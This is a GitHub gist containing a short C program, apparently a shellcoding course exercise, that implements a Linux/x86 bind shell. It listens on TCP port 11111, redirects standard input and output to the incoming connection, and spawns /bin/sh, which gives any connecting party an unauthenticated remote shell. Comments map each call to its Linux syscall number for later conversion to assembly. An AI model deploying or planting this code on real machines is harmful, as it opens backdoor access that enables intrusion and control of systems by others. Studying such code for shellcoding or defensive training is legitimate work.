Skip to content

Instantly share code, notes, and snippets.

@geyslan
Last active June 7, 2022 01:30
Show Gist options
  • Save geyslan/5176234 to your computer and use it in GitHub Desktop.
Save geyslan/5176234 to your computer and use it in GitHub Desktop.
Shell Bind TCP in C Language (Linux/x86) - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.c
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
int resultfd, sockfd;
int port = 11111;
struct sockaddr_in my_addr;
// syscall 102
// int socketcall(int call, unsigned long *args);
// sycall socketcall (sys_socket 1)
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// syscall socketcall (sys_setsockopt 14)
int one = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
// set struct values
my_addr.sin_family = AF_INET; // 2
my_addr.sin_port = htons(port); // port number
my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP
// syscall socketcall (sys_bind 2)
bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr));
// syscall socketcall (sys_listen 4)
listen(sockfd, 0);
// syscall socketcall (sys_accept 5)
resultfd = accept(sockfd, NULL, NULL);
// syscall 63
dup2(resultfd, 2);
dup2(resultfd, 1);
dup2(resultfd, 0);
// syscall 11
execve("/bin/sh", NULL, NULL);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment